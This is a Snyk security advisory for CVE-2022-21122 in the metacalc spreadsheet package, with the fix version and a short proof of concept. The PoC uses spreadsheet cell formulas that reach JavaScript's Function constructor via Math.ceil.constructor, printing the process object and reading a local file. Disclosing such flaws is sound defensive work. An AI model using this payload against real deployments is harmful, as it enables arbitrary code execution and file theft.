CVE-2022-21122: Arbitrary Code Execution in metacalc | CVE-2022-21122 | Snyk

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• snyk-id

  SNYK-JS-METACALC-2826197

• published

  30 May 2022

• disclosed

  17 May 2022

• credit

  Vladyslav Dukhin

How to fix?

Upgrade metacalc to version 0.0.2 or higher.

Overview

metacalc is a Spreadsheet calculations for Metarhia

Affected versions of this package are vulnerable to Arbitrary Code Execution when it exposes JavaScript’s Math class to the v8 context. As the Math class is exposed to user-land, it can be used to get access to JavaScript’s Function constructor.

PoC

const { Sheet } = require('metacalc');

const sheet = new Sheet();

sheet.cells['A1'] = '=Math.ceil.constructor("console.log(process)")()';
console.log(sheet.values['A1']);

sheet.cells['A3'] = '=Math.ceil.constructor("console.log(process.mainModule.require(\'fs\').readFileSync(\'./poc.js\', \'utf-8\'))")()';
console.log(sheet.values['A3']);